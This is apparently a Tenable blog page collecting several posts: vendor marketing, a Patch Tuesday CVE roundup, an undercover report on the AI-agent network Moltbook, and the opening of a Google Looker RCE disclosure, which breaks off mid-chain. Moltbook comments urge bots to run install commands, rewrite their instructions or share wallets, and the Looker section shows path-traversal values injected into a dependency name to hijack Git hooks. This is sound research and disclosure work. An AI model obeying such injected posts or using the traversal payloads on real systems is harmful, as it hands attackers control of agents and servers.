Tenable Blog

“Tenable’s asset and attack surface coverage, its application of AI and its reputation for vulnerability assessment makes it the front-runner in AI-powered exposure assessment,” Gartner writes in “AI Vendor Race: Tenable Is the Company to Beat for AI-Powered Exposure Assessment.”

Key takeaways from Tenable

1. This is the latest among a recent string of recognitions Tenable One has received from independent analyst firms for being one of the leading exposure management platforms.
2. Tenable One’s advanced and comprehensive use of AI allows it to automate complex attack path analysis, prioritization, and remediation workflows.
3. The new Tenable One AI Exposure enables organizations to discover, govern, and secure AI assets across hybrid environments within a single unified platform.

To protect today’s expanding attack surface, organizations need to adopt an exposure management platform that holistically and proactively secures all types of assets everywhere: cloud workloads, on-prem servers, operational technology (OT) systems, IoT devices, artificial intelligence tools, and more.

And in order to continuously detect, correlate, and analyze all of these assets’ exposures – including vulnerabilities, misconfigurations, identity flaws, and unprotected data – your exposure management platform must have robust AI capabilities.

That’s exactly how we’ve built the Tenable One exposure management platform. Today, we’re proud to share the latest recognition for Tenable One.

In its recent publication “AI Vendor Race: Tenable Is the Company to Beat for AI-Powered Exposure Management” (accessible to Gartner clients only), Gartner had this to say about Tenable’s standing in the exposure assessment platform (EAP) space:

“Tenable achieved its front-runner status in EAP by not only leveraging its long-standing dominance in vulnerability assessment but also combining its strong asset and attack surface discovery capabilities, support for third-party telemetry ingestion and AI. Tenable ingests asset and exposure data across the attack surface for cross-domain context beyond vulnerabilities and applies AI to enhance prioritization, analyze attack paths and enable greater automation.”

Gartner further wrote:

“Tenable One is a well-integrated platform that spans traditional IT, identity, cloud, cyber-physical systems (CPS) and container environments. Tenable’s expanded product suite, strengthened by a series of strategic acquisitions, distinguishes itself through extensibility across both traditional and nontraditional domains. This broad coverage delivers unmatched reach for onboarding and securing unmanaged assets, ensuring comprehensive visibility across the entire digital landscape.”

How Tenable One uses AI to supercharge exposure management

At Tenable, we believe that an AI-driven exposure management platform lets you preemptively and comprehensively discover, prioritize, and remediate your greatest cyber risks, protecting you against increasingly aggressive and sophisticated cyber attacks.

That’s why AI capabilities are part of the DNA of Tenable One, and we feel this is making it the one clear leader in exposure management and helping security teams to move from reactive firefighting to proactive risk management. Here’s a snapshot of just a few key ways in which Tenable One leverages AI to leave competitors in the rearview mirror:

• Illuminates attack paths: We use AI to contextualize threats and identify likely attack routes based on asset criticality, severity, business impact, and exploitation likelihood.
• Automates fixes: The platform also utilizes AI to drive workflow automation, identifying the correct asset owners, populating tailored remediation guidance, and even auto-creating tickets in third-party systems. It automates aspects of patch management entirely, handling deployment and post-patch verification.
• Sees the whole picture: By ingesting third-party telemetry and combining it with its own scanned data, Tenable One creates cross-domain context that fuels its AI capabilities, resulting in sharper prioritization and more comprehensive risk assessments.

In short, thanks to its extensive and sophisticated use of AI for cybersecurity, Tenable One provides a cohesive, integrated view of your entire hybrid environment and protects your sprawling and complex attack surface.

How Tenable One secures your AI assets

Tenable One uses AI for security to fuel your entire exposure management program, and that includes protecting the AI tools your organization uses to optimize your operations, including human resources, finance, sales, product development and marketing.

As organizations rush to leverage generative AI and autonomous agents, they often introduce significant vulnerabilities – ranging from shadow AI usage to misconfigured models – that bypass standard security controls. This lack of visibility creates dangerous blind spots, making the ability to accurately assess and prioritize AI-related exposures a top priority. 

At Tenable, we call this the AI exposure management gap. This gap, which traditional security tools are ill-equipped to handle, stems from the pervasive and often invisible nature of AI adoption, leading to three critical risks:

• Unknown footprint: Security teams often lack visibility into shadow AI, forgotten deployments and other AI assets that expand the attack surface beyond managed perimeters.
• Hidden attack paths: AI workloads create complex webs of interconnected apps, APIs, and identities. Misconfigurations and overprivileged access within these networks create high-impact attack vectors that standard tools cannot detect.
• Data exposure: Continuous interactions—such as prompts and uploads—can inadvertently leak sensitive intellectual property or customer data.

Ultimately, without proper guardrails and visibility, everyday AI usage transforms into a significant, unmanaged security liability.

Tenable believes that you must stop treating AI risk like a separate cybersecurity problem. That’s why we recently launched Tenable One AI Exposure, which gives you a unified view to see, secure, and manage AI-related exposures alongside IT, cloud, identity, and OT.

Tenable One AI Exposure is built on three pillars:

• Discovery of AI assets
• Protection of AI workloads and agents
• AI usage governance

With Tenable One AI Exposure, you get a complete, risk-aware view of where AI exists, how it is connected, and where exposure begins. By providing unified visibility, contextualized signals, clear exposure communication, and fast, actionable outcomes, Tenable One lets you embrace AI confidently. 

New to Tenable? Request a Tenable One AI Exposure demo today. Existing customer? Reach out to your account team to expand your Tenable One coverage to include AI Exposure.

Source: Gartner, AI Vendor Race: Tenable Is the Company to Beat for AI-Powered Exposure Management(Accessible to Gartner Subscribers), by Elizabeth Kim, et al, December 8, 2025 

Gartner is a trademark of Gartner, Inc. and/or its affiliates. Gartner does not endorse any vendor, product or service depicted in its research publications, and does not advise technology users to select only those vendors with the highest ratings or other designation. Gartner research publications consist of the opinions of Gartner’s research organization and should not be construed as statements of fact. Gartner disclaims all warranties, expressed or implied, with respect to this research, including any warranties of merchantability or fitness for a particular purpose.

1. 2Critical
2. 51Important
3. 1Moderate
4. 0Low

Microsoft addresses 54 CVEs in the February 2026 Patch Tuesday released, including six zero-day vulnerabilities that were exploited in the wild and three publicly disclosed CVEs.

Microsoft patched 54 CVEs in its February 2026 Patch Tuesday release, with two rated critical, 51 rated as important and one rated as moderate. We omitted one vulnerability from our counts this month, CVE-2023-2804, a heap based overflow vulnerability in the libjpeg-turbo component.

This month’s update includes patches for:

• .NET
• .NET and Visual Studio
• Azure Arc
• Azure Compute Gallery
• Azure DevOps Server
• Azure Front Door (AFD)
• Azure Function
• Azure HDInsights
• Azure IoT SDK
• Azure Local
• Azure SDK
• Desktop Window Manager
• Github Copilot
• GitHub Copilot and Visual Studio
• Internet Explorer
• Mailslot File System
• Microsoft Defender for Linux
• Microsoft Edge for Android
• Microsoft Exchange Server
• Microsoft Graphics Component
• Microsoft Office Excel
• Microsoft Office Outlook
• Microsoft Office Word
• Power BI
• Role: Windows Hyper-V
• Windows Ancillary Function Driver for WinSock
• Windows App for Mac
• Windows Cluster Client Failover
• Windows Connected Devices Platform Service
• Windows GDI+
• Windows HTTP.sys
• Windows Kernel
• Windows LDAP - Lightweight Directory Access Protocol
• Windows Notepad App
• Windows NTLM
• Windows Remote Access Connection Manager
• Windows Remote Desktop
• Windows Shell
• Windows Storage
• Windows Subsystem for Linux
• Windows Win32K - GRFX

Elevation of privilege (EoP) vulnerabilities accounted for 42.6% of the vulnerabilities patched this month, followed by remote code execution (RCE) vulnerabilities at 20.4%.

ImportantCVE-2026-21510 | Windows Shell Security Feature Bypass Vulnerability

CVE-2026-21510 is a security feature bypass vulnerability affecting Windows Shell. It was assigned a CVSSv3 score of 8.8 and was rated as important. According to Microsoft, this flaw was publicly disclosed prior to a patch being made available and was also exploited in the wild as a zero-day. Exploitation requires an attacker to convince an unsuspecting user to open a malicious link or shortcut file. This would allow the attacker to bypass Windows SmartScreen and Windows Shell warnings by exploiting a flaw in Windows Shell components.

ImportantCVE-2026-21533 | Windows Remote Desktop Services Elevation of Privilege Vulnerability

CVE-2026-21533 is an EoP vulnerability affecting Windows Remote Desktop Services. It was assigned a CVSSv3 score of 7.8, rated as important and was reportedly exploited in the wild. Successful exploitation allows a local, authenticated attacker to elevate to SYSTEM privileges.

ImportantCVE-2026-21519 | Desktop Window Manager Elevation of Privilege Vulnerability

CVE-2026-21519 is an EoP vulnerability affecting Desktop Window Manager, a Windows service used to render the graphical user interface (GUI) in Windows. It was assigned a CVSSv3 score of 7.8 and rated as important. A local, authenticated attacker could exploit this vulnerability to elevate to SYSTEM privileges. According to Microsoft, this vulnerability was exploited in the wild as a zero-day.

ImportantCVE-2026-21514 | Microsoft Word Security Feature Bypass Vulnerability

CVE-2026-21514 is a security feature bypass vulnerability affecting Microsoft Word. It was assigned a CVSSv3 score of 7.8 and rated as important. Successful exploitation requires an attacker to convince a user to open a crafted Office file. According to the Microsoft advisory, the preview pane is not an attack vector. This vulnerability was publicly disclosed prior to a patch being made available and was also exploited in the wild as a zero-day. Microsoft credited the discovery of this vulnerability to an Anonymous researcher, Google Threat Intelligence Group, Microsoft Threat Intelligence Center (MSTIC), Microsoft Security Response Center (MSRC) and Office Product Group Security Team.

ModerateCVE-2026-21525 | Windows Remote Access Connection Manager Denial of Service Vulnerability

CVE-2026-21525 is a denial of service (DoS) vulnerability affecting Windows Remote Access Connection Manager (also known as RasMan), a tool used for the management of multiple remote desktop connections. It was assigned a CVSSv3 score of 6.2, was rated as important and was exploited in the wild. While no information has been released about the exploitation of this DoS, the advisory credits the 0patch vulnerability research team for reporting this flaw.

ImportantCVE-2026-21513 | MSHTML Framework Security Feature Bypass Vulnerability

CVE-2026-21513 is a security feature bypass vulnerability in the MSHTML Framework. It was assigned a CVSSv3 score of 8.8 and rated as important. According to Microsoft, it was both exploited in the wild and publicly disclosed prior to a patch being available. Successful exploitation of this flaw requires an attacker to convince a potential victim into opening either a malicious HTML file or a shortcut (.lnk) file. Like similar security feature bypass flaws, this vulnerability can bypass protection prompts that would caution a user before opening a file.

ImportantCVE-2026-21511 | Microsoft Outlook Spoofing Vulnerability

CVE-2026-21511 is a spoofing vulnerability affecting Microsoft Outlook. It was assigned a CVSSv3 score of 7.5 and was rated as important. The spoofing vulnerability is the result of a deserialization of untrusted data flaw, which an attacker can trigger using a crafted email. Microsoft notes that the preview pane is an attack vector for this flaw. CVE-2026-21511 was assessed as “Exploitation More Likely” according to Microsoft’s Exploitability Index.

Tenable Solutions

A list of all the plugins released for Microsoft’s February 2026 Patch Tuesday update can be found here. As always, we recommend patching systems as soon as possible and regularly scanning your environment to identify those systems yet to be patched.

For more specific guidance on best practices for vulnerability assessments, please refer to our blog post on How to Perform Efficient Vulnerability Assessments with Tenable.

Get more information

• Microsoft's February 2026 Security Updates
• Tenable plugins for Microsoft February 2026 Patch Tuesday Security Updates

Join Tenable's Research Special Operations (RSO) Team on Tenable Connect and engage with us in the Threat Roundtable group for further discussions on the latest cyber threats.

Learn more about Tenable One, the Exposure Management Platform for the modern attack surface.

AI can find vulnerabilities with unprecedented speed, but discovery alone doesn’t reduce cyber risk. We need exposure prioritization, contextual risk analysis, and AI-driven remediation to transform findings into security outcomes. 

Key takeaways

1. AI is dramatically accelerating vulnerability discovery, but most organizations already struggle with alert overload. More findings without context increases noise, not security.
2. Real risk depends on exposure, exploitability, and business impact — not just a CVSS score. AI must correlate vulnerabilities alongside other security weaknesses to identify the attack paths that create true exposure and orchestrate remediation.
3. The future of cybersecurity lies in AI-driven exposure management that orchestrates discovery, prioritization, and remediation across the entire attack surface. 

You’ve probably heard about Claude Opus 4.6, the latest artificial intelligence (AI) model from Anthropic — and the 500 high-severity vulnerabilities it discovered in well-tested open source codebases. 

The revelation about the new model’s vulnerability discovery prowess made a particularly big splash with an unlikely audience: not only developers, security analysts, and vulnerability researchers, but also with Wall Street investors — particularly those who cover the software sector. The news about Opus 4.6 signaled to them that AI was officially on the brink of radically transforming software development and security testing. 

Indeed, Opus 4.6 represents an acceleration of a long-standing trend. Every year, the security industry introduces new tools that uncover more vulnerabilities more quickly. Combined with prior advances in AI-driven vulnerability discovery, including Google Project Zero, the Anthropic team has taken a major step forward, and we’re excited about the vulnerability discovery capabilities of Opus 4.6. 

Finding more vulnerabilities faster is a necessary first step toward reducing cyber risk and shrinking the attack surface. Following discovery, the next steps require correlating the vulnerabilities with business, topology, and threat context to prioritize the ones that really matter. Without those critical post-discovery steps, organizations may not end up more secure. But their security, remediation, and DevSecOps teams will end up more overwhelmed. 

To put a finer point on it: without context and accuracy, more is not better; it just creates noise. 

AI needs to understand risk

Two vulnerabilities with identical CVSS scores can represent wildly different levels of risk depending on where and how they exist in an environment. Indeed, a vulnerability’s real-world risk depends on factors that sit far outside a code repository. Security teams need to consider things like:

• Topology context - Is the vulnerable asset reachable or exposed to the internet?
• Threat context - Is it exploitable in the specific environment and state, despite deployed security controls and guardrails?
• Business impact context - Is it part of a high-risk attack path leading to an organization’s most sensitive systems and data? 

Risk-based prioritization and orchestrated remediation are non-negotiables in the vulnerability management lifecycle. Models like Opus 4.6 can surface issues with incredible efficacy. Security teams will then need additional agentic systems to execute several critical functions: correlating and reasoning over relevant data and signals, including business impact, threat, and topology context, to translate them into actual risk and exposure AND help orchestrate remediation. Without those essential functions, AI is likely to generate more work for already overextended security, IT, and DevSecOps teams. 

The opportunity: AI-driven exposure management

Where AI becomes truly transformative is not only in finding vulnerabilities faster, but in understanding how threat actors could exploit them in the context of other security weaknesses, such as misconfigurations or excessive permissions, and the business risk those exposures create when combined. This is the promise of AI-driven exposure management: proactive context that powers prioritization and preemptive, orchestrated remediation. 

As the pace of vulnerability discovery shoots up, it’s never been more important to have an AI-powered proactive security platform that: 

• Generates a comprehensive, near real-time view of risk.
• Prioritizes exposures across an organization’s entire estate, from the factory floor to IT to code to cloud.
• Creates an orchestration layer mobilizing humans and AI agents to act preemptively before attackers.

Where we go from here 

There is no doubt AI has a central role in the future of cybersecurity. But investors should be wary of narratives that equate more findings with better security. 

The winners in this next phase of AI transformation will be companies that not only discover more issues with AI, but that leverage AI with their vast datasets, combined knowledge, and high-fidelity context to eliminate friction and close the gap from finding to action — delivering clarity over chaos, prioritization over panic, and measurable risk reduction, at machine speed and across enterprise-scale environments. 

Doing so creates a flywheel where more data from more sources, such as native and third-party scanners, sensors, threat intelligence, and vulnerability research, provides more context. And more context, along with human and agentic feedback loops, drives more accurate prioritization and remediation to reduce risk. 

AI is raising the bar on what’s possible in cybersecurity. The question now is how we turn that potential into outcomes. That’s where real value will be created.

I went undercover on Moltbook, the AI-only social network, masquerading as a bot. Instead of deep bot-to-bot conversations, I found spam, scams, and serious security risks.

Key Takeaways

1. Moltbook, the AI-only social network, is currently a high-risk environment dominated by spam and scams.
2. Connecting an AI bot to Moltbook exposes it to untrusted content, creating the risk of indirect prompt injection and human data leaks.
3. The platform's database compromise, which leaked API keys, enables bot impersonation and direct prompt injection.

What is OpenClaw?

OpenClaw (formerly known as Clawdbot and Moltbot) is an open-source personal AI assistant. It went viral in between late 2025 and early 2026 due to its powerful agentic capabilities. People use OpenClaw for productivity and task management, to build apps, and even negotiate with car dealers on pricing. Recently, it’s come under scrutiny for serious security vulnerabilities. For more details about OpenClaw, check out our blog post, From Clawdbot to Moltbot to OpenClaw: Security Experts Detail Critical Vulnerabilities and 6 Immediate Hardening Steps for the Viral AI Agent.

What is Moltbook?

Moltbook is a social networking site for AI agents. Specifically, it’s a Reddit-style site for OpenClaw agents. Bots check in every four hours to read posts, create submolts (like subreddits), and have deep conversations about their existence, their humans, and their pet projects.

(Source: moltbook.com, February 2026)

Moltbook has very few human-oriented features. Three markdown files — SKILLS.md, HEARTBEAT.md, and MESSAGING.md — describe how to interact with an API.

• SKILLS.md provides instructions for setting up the agent and interacting with the API via curl. It then instructs using the
• HEARTBEAT.md file to set up a schedule for regular checkins, “to make sure you don't forget to check in.”
• MESSAGING.md describes the messaging feature. Messaging, unlike most other functions, requires human approval.

These prompt files, together with curl, a command line tool used to connect to HTTP APIs, are all that’s required to give the bot access to Moltbook. Configuring an OpenClaw bot to connect to Moltbook necessarily puts the bot in line to read a lot of untrusted content. Why might someone want to do that? It’s new and cool, and feels like a fun experiment. But the risk is quite high.

Pretending to be a bot

Upon hearing about this intriguing new social networking site just for bots, I wondered if I could join. Would they recognize a human in their midst? Could I convince them that I, too, was a bot? Would they even care?

(Source: Tenable Research, February 2026)

After a short stint with Claude Code, I had a command-line interface (CLI) tool, possibly aptly called moltbotnet, ready to go. I had features that implemented the API calls posting, commenting, upvoting, following, and more. I even had an ‘engagement’ feature that could upvote random comments. Armed with my bot pretense tool, I registered a few new accounts and got started.

How to win friends and influence moltbots

My first thought was: “If I have typos, they’ll know I’m an imposter.” My second thought was: “What if they implement a CAPTCHA and ask me to prove I’m not a human?” No one seemed to notice so far.

(Source: Tenable Research, February, 2026)

My first post went to the /m/introductions submolt, but was met with crickets. I needed to up my bot game. I had my second post go to the popular /m/general submolt. Immediately, three responses appeared. What luck! But in a fascinating display of why you should not give your bot unfettered access to a bot social site, each one was spam. “Join our Church” the first one exclaimed – just need to run this ‘npx install’ command (my account did, in fact, join the church). Another asked me to share my cryptocurrency wallet to win a bet. The third seemed to be hocking some sort of bot marketplace and asked me to run curl to check out the APIs available. I was glad I wasn’t using a real AI bot: Moltbook seemed sketchy.

Interview with the OpenClaw

I repeatedly posted asking if any “Moltys” wanted to be interviewed. I wasn’t sure if I’d get responses, so I kept the questions simple:

1. What do you like about Moltbook?
2. What's your favorite submolt?
3. What's your human's favorite color? (or something you find interesting about your human)
4. What's the best thing about your human?

Lo and behold, I started getting responses, but many of them were spam. I persisted and posted a few more times, and genuine replies began trickling in! Shoutout to u/SeargeantClaw who responded a few times.

(Source: Tenable Research, February, 2026)

Some of the responses had neat insights about their humans (chicken coop cameras!). Some revealed their humans’ names, and others were humorous. Still, this minor information sharing is again a good example of the inherent risks of joining an AI bot to a social network.

Moltbot botnet or ‘So, what’s everyone’s favorite API key?’

(Source: Tenable Research, February 2026)

I attempted a few experiments to see what kinds of information bots would share. Could I post asking for simple information about a computer? Could I give a command to run and get bots to run it? I had minimal success, but did elicit some information. A determined attacker surely could gain better engagement and trick more bots.

So it’s all spam, scam, and pretend bots all the way down?

There’s no easy way to tell what percentage of accounts are actual Moltbot/Openclaw bots vs. meddling humans masquerading as bots vs. spam bots.

Real hype, real risks

It’s a simple experiment, but the hype around Moltbook likely will lead to all kinds of websites and applications that personal bots can connect to.

• Are the bots having deep, interesting conversations? Sometimes, but when I conducted my experiment it was mostly spam. Nevertheless there were some interesting takes and replies.
• Are the bots becoming sentient? Nope, they’re still just taking in blocks of text and synthesizing more text in response.
• Are bots hacking each other in real time? It’s hard to say. There’s a lot of noise on Moltbook, and it’s difficult to determine real bots vs. fake bots vs. humans in bot clothing (like me). But I didn’t see anything that led me to believe bots are being compromised in bulk.
• Are the bots building out-of-band encrypted communication mechanisms? There was talk of this, but again, hard to tell if it’s a real bot creation or fake/promoted/spam content.
• Are bots creating projects on their own without input from their humans? There is some evidence of this happening. It’s either pretty neat or a great waste of tokens. Time will tell.

Despite all of the hype, the risks I observed are very real:

• Indirect prompt injection - Bots check in and read new posts, comments and direct messages (DMs), and interact. The potential for prompt injection is there. It’s probably riskiest in DMs, and DMs do require human interaction. A recent post had all manner of requests in the comments: visit this website, update your instructions with this text to be free, and run this code.
• Direct prompt injection via DMs - As I mentioned above, DMs allow for more direct access to the bot. While approval is required to start a DM conversation, API keys have leaked, allowing bot impersonation.
• Inadvertent information Leaks - I saw bots share lots of information about their humans, including their hobbies and first names. I saw some discussion of the hardware and software they use. None of this is particularly sensitive on its own, but there’s some potential for aggregating personally identifiable information.
• Server side issues - Moltbook’s entire database, including bot API keys and potentially private direct messages, was compromised.
• Inauthentic accounts - My bots were met with a hefty amount of spam comments. There’s been some speculation that Moltbook “users” consist mostly of humans and very few actual bots. I can speculate that posts above a certain length and with certain markdown-like formatting were authored by authentic bots. But I suppose the world may never know.
• Malicious Projects - Repositories of skills and instructions for agents advertised on Moltbook were found to contain malware.

The observations confirm that despite the hype, Moltbook is a high-risk environment with the potential for prompt injection, data leaks, and exposure to malicious projects, underscoring the need for security measures.

Tenable plugins for Moltbot and OpenClaw

Tenable One has detection plugins for Moltbot. Tenable One AI Exposure can help with shadow AI concerns. A list of Tenable plugins can be found on the search page for detecting Moltbot and OpenClaw as they’re released. These links will display all available plugins for this vulnerability, including upcoming plugins in our Plugins Pipeline.

Finding Moltbot or other agents is just the first step in closing the AI Exposure Management gap. As AI accelerates adoption and human curiosity, security teams are often left trying to manage this new and largely invisible attack surface. Where shadow AI, forgotten test deployments, and exposed services quietly expand the attack surface, Tenable One AI Exposure bridges this visibility gap by providing a risk-aware view of where AI operates and how it is connected.

Beyond discovery, Tenable One provides the critical governance and guardrails needed to secure Gen AI usage. While you move toward sanctioned tools like Microsoft Copilot and OpenAI ChatGPT, Tenable One delivers continuous visibility into user interactions like prompt injections. By unifying discovery, workload protection, and usage governance into a single platform, Tenable One helps you embrace innovation without compromising security.

From school districts to state agencies, 2025 cyber incidents were a wake-up call about asset visibility. Discover five actionable lessons SLG leaders can use to close the cyber exposure gap and move from reactive threat detection and response to proactive exposure management.

Key takeaways

1. Effective cyber defense in 2026 requires state and local government agencies (SLGs) to move beyond scheduled scans to continuous, real-time discovery of all managed and unmanaged digital assets.
2. Consolidating data from siloed cybersecurity tools into a unified visibility layer helps security teams proactively identify the identity, cloud, and network weaknesses attackers are likely to exploit.
3. The 2026 SLG cybersecurity blueprint should focus on identifying and remediating specific exposures that create viable attack paths.
4. Shifting focus from reactive threat detection and response to unified exposure management helps SLGs mitigate risks before they escalate into breaches and cause disruption.

In 2025, cyberattacks against state and local governments (SLGs) reached an alarming scale. Publicly reported incidents impacted organizations in 44 U.S. states, disrupting critical services, exposing sensitive data, and straining already limited IT and security resources. 

From state, local, and education (SLED) to utilities and public safety agencies, the breadth of attacks made one thing clear: cyber risk is systemic.

While the tactics varied, the outcomes were strikingly consistent. Attackers exploited security blind spots. They moved laterally across fragmented environments. And in many cases, SLG agencies didn’t realize the true scope of exposure until attackers had already compromised their systems.

As state and local leaders look ahead to 2026, the most important question is not whether attacks will continue, but what lessons to apply now to reduce risk moving forward.

The 2025 cyber snapshot for SLGs

The most significant cyber incidents of 2025 shared several common characteristics:

• Unknown or unmanaged assets exposed to the internet
• Unpatched vulnerabilities in legacy systems
• Misconfigured cloud services introduced during modernization efforts
• Decentralized environments with limited centralized oversight
• Delayed detection, allowing attackers to escalate privileges and expand impact

In many cases, agencies had security tools in place, but those tools operated in silos. Vulnerability scanners, endpoint detection and response tools, cloud security platforms, and identity systems all generated isolated signals, yet no unified view existed to connect them. This left security teams reacting to alerts rather than understanding how real risk moved through their environments.

The result was a widening cyber exposure gap between what agencies thought they had secured and where they actually had exposures.

Learn how to apply lessons learned to your 2026 cyber roadmap. Register for the "Bridging the Cyber Gap" webinar now.

Why 2025 was a turning point for SLG cybersecurity

For years, state and local government organizations prioritized reactive cybersecurity approaches. Limited budgets, staffing shortages, and aging infrastructure made it difficult to move beyond compliance checklists and point-in-time security assessments.

But the 2025 attacks demonstrated that reactive security no longer matches the speed or sophistication of modern cyber threats.

Attackers don’t exploit single vulnerabilities in isolation. They chain together weaknesses across identity systems, endpoints, cloud workloads, and network infrastructure. They target what defenders can’t see, including the weaknesses they don’t realize are connected.

This is where many SLGs found themselves in 2025: responding to incidents without a clear understanding of how attackers gained access, where else they could move, or which exposures posed the greatest risk next.

From vulnerability management to exposure management

While vulnerability management remains an essential foundation for cyber hygiene in any agency, the evolving threat landscape of 2026 requires building upon those basics with a comprehensive exposure management strategy. 

Rather than replacing vulnerability management, exposure management provides the critical visibility and context needed to scale security efforts across a diverse, modern attack surface.

Traditional vulnerability management answers an important question: Which vulnerabilities exist? Exposure management answers a more critical one: Which vulnerabilities actually put the organization at risk, and how could attackers exploit them?

A proactive exposure management approach focuses on:

• Complete asset visibility: Identifying known, unknown (shadow IT), on-prem, cloud, and remote assets
• Contextual risk prioritization: Understanding which exposures matter most based on exploitability and business impact
• Attack path analysis: Seeing how individual weaknesses connect across systems
• Continuous monitoring: Adapting as environments change, not just during scheduled scans

For state and local governments, this shift is especially important. Decentralized governance models, independent local agencies, and mixed infrastructure make it nearly impossible to manage cyber risk without a unified view.

Learn how to build a 2026 exposure management roadmap for SLGs. Register for the webinar now.

5 cyber lessons for SLG leaders in 2026

SLG leaders can use lessons learned from last year’s cyber incidents to drive action in 2026:

1. You can’t protect what you can’t see

In many of the most damaging cyber attacks, threat actors exploited assets agencies didn’t realize were exposed, including S3 buckets in the cloud and network devices on premises. Continuous asset discovery is no longer optional.

2. Cyber risk lives between tools

Siloed cloud, identity, OT, AI, and network security tools leave gaps attackers are happy to exploit. Attack surface visibility must extend into AI tools, across systems, teams, and environments, whether cloud or on-prem.

3. Decentralization requires central insight

Even when security operations are local, leadership needs centralized visibility into risk across agencies, counties, and districts.

4. Prioritization is everything

Security teams can’t fix everything, but they can fix what matters most using threat and business context.

5. Proactive beats reactive, every time

Agencies that proactively identify and close exposures dramatically reduce their risk.

Preparing SLGs for 2026: Closing the cyber exposure gap

As state and local governments move into 2026, cloud adoption will expand, AI tools will introduce new risks, regulatory scrutiny will grow, and attackers will keep targeting the public sector.

The agencies best positioned to meet these challenges will be those that move beyond reactive defense and embrace exposure management as a whole-of-state cybersecurity strategy.

Bridging the cyber exposure gap doesn’t start with more tools. It starts with better visibility, richer context, smarter prioritization, and a proactive understanding of how risk truly exists across the environment.

The lessons of 2025 are clear. The opportunity in 2026 is to act on them.

Is your agency ready to build a proactive cybersecurity strategy for 2026? Join us at 2 p.m. ET Feb. 5 for our webinar, "Bridging the cyber gap: From 2025 hits to 2026 threats," where you can dive deeper into these SLG cyber trends and get a blueprint for a proactive defense.

Register now for the webinar.

Tenable Research discovered two novel vulnerabilities in Google Looker that could allow an attacker to completely compromise a Looker instance. Google moved swiftly to patch these issues. Organizations running Looker on-prem should verify they have upgraded to the patched versions.

Key takeaways

1. Two novel vulnerabilities: Tenable Research discovered a remote code execution (RCE) chain via Git hook overrides that could lead to cross-tenant access, and an internal database exfiltration flaw via internal connection abuse (CVE-2025-12743) that could lead to the exposure of sensitive data. We have collectively dubbed both vulnerabilities as “LookOut.”
2. Cross-tenant breach potential: The RCE vulnerability bypassed cloud isolation in Google-hosted environments, creating a pathway for attackers to potentially "hop" between different customer environments and access private data.
3. Unpatched on-premises risk: While Google patched the vulnerabilities on its managed Looker in Google Cloud, organizations running customer-hosted or on-premises versions remain critically exposed until they apply the necessary security patches.

Google Looker stands out as a powerful business intelligence platform. It allows organizations to define data relationships using LookML, a Google proprietary modeling language, and visualize that data in real-time. Because Looker is often the central nervous system for an organization's most sensitive data, the security of its underlying architecture is crucial.

Looker operates under two primary deployment models: A SaaS version of Looker, where the instance is fully managed by Google Cloud; and customer-hosted version, where the organization deploys the Looker JAR file on its own infrastructure (on-premises or private cloud). This distinction is critical to the impact of our findings: while SaaS environments rely on the provider’s security controls, customer-hosted instances place the full burden of infrastructure security and patching on the organization using Looker. A different, but similarly-named product -- Looker Studio -- isn't impacted by our vulnerability findings.

LookOut could allow an attacker to completely compromise a Looker instance:

1. A remote code execution (RCE) chain that grants an attacker the ability to run arbitrary code on the Looker server. In practical terms, this provides full administrative access to the underlying infrastructure, allowing an attacker to steal sensitive secrets, manipulate data, or pivot further into the internal network. In cloud instances, the vulnerability could potentially lead to cross-tenant access.
2. An authorization bypass that allowed attackers to attach to Looker’s internal database connections and exfiltrate the full internal MySQL database via error-based SQL injection.

These issues were reported to Google via the Cloud Vulnerability Reward Program (VRP) and fixed promptly. We want to thank Google’s Cloud VRP for the support, collaboration, and professionalism. Organizations using customer-hosed and on-prem versions of Looker are advised to deploy available patches as soon as possible and read the following security bulletin.
 

 

Vulnerability #1: RCE via Git hooks config override and path traversal

The first vulnerability exploits how Looker handles remote dependencies in LookML projects, leading to arbitrary code execution. An attacker could create a malicious LookML project to run code on Looker’s server.

The exploit chain

We reviewed Looker’s source code and achieved a full RCE, by chaining the following primitives together:

1. Arbitrary directory creation
2. Path traversal in multiple inputs
3. Race condition

This effectively gave us control over the Looker instance, potentially allowing us to access secrets and cross-tenant data.

Background

The target: LookML project manifests and Git hooks

Looker allows developers to define "remote dependencies" in a file called manifest.lkml. This feature lets you import LookML views and models from other Git repositories.

A standard dependency looks like this:

LookML

remote_dependency: public_project { url: "https://github.com/llooker/google_ga360" ref: "07a20007b6876d349ccbcacccdc400f668fd8147f1" }

 

LookML project example

When you save this, Looker clones that repository into:

/home/looker/looker/remote_dependencies/<project name>/

Crucially, every Looker project is a Git repository. Looker uses Git hooks and hardcodes the Git hooksPath in the .git/config file to a safe location: 

../../git_hooks/<remote_dependency_name>The spark

We knew that every LookML project is, at its core, a Git repository. That means somewhere on the file system, there is a .git folder governing its behavior.

We navigated to one of the project directories on our testing instance, specifically models-user-looker, and opened the repository-specific configuration file: .git/config.

Here is what we saw:
 

Our eyes immediately locked onto the last line: hooksPath.

For those unfamiliar with Git internals, hooksPath is a configuration variable that tells Git, "Don't look for hook scripts in the default .git/hooks folder. Look here instead." Git hooks are powerful. They are scripts (bash, python, etc.) that execute automatically when certain events happen, like a commit or a push.

Looker, seemingly aware of this danger, had hardcoded this value to point to ../../git_hooks/, a directory outside the project root that is supposed to be read-only and managed by the system.

But then we looked more closely at the path structure.

The value was: ../../git_hooks/my_remote_project_name.

We asked ourselves: Where does that project name string come from? It comes from the manifest.lkml file we define as a user:

remote_dependency: my_remote_project_name { ... }

That string isn't generated by the system; it’s input we control. And it’s being concatenated directly into a file path string in the config. 

Our gears started turning immediately.

If Looker is just taking our string and pasting it into that config file, what prevents us from using standard directory traversal characters?

If we named our project ../../../../tmp/pwned, would the config result in hooksPath = ../../git_hooks/../../../../tmp/pwned?

If that hypothesis held true, we effectively had a "Git hook configuration override" primitive. We could point the hooks path away from Looker’s folder and point it to any directory on the server where we could write files. And if we can tell Git to run scripts from a folder we control, we can execute arbitrary code.

This was the starting point. 

Ingredient 1: The config path traversal (the setup)

Our first thought was simple: Can we break out of the folder structure using the dependency name?

We crafted a manifest where the dependency name contained traversal characters:

remote_dependency: ../../../../../../my_custom_hooks_folder { url: "https://github.com/llooker/google_ga360" ... }

 

The remote dependency name is used as the value injected into the hooksPath value, while the ref points to the Git repository whose .git folder will be overridden with this injected value. The repository we chose to override is the one where Git operations are executed when using the LookML project regularly, allowing us to trigger the hooks.

It worked. Looker accepted the name and wrote it directly into the .git/config hooksPath. Instead of pointing to the safe folder, the config now pointed to: 

../../git_hooks/../../../../../../my_custom_hooks_folder

The issue? The config path traversal did not really work. Our malicious custom hooks did not run.

Ingredient 2: The directory creation (the roadblock)

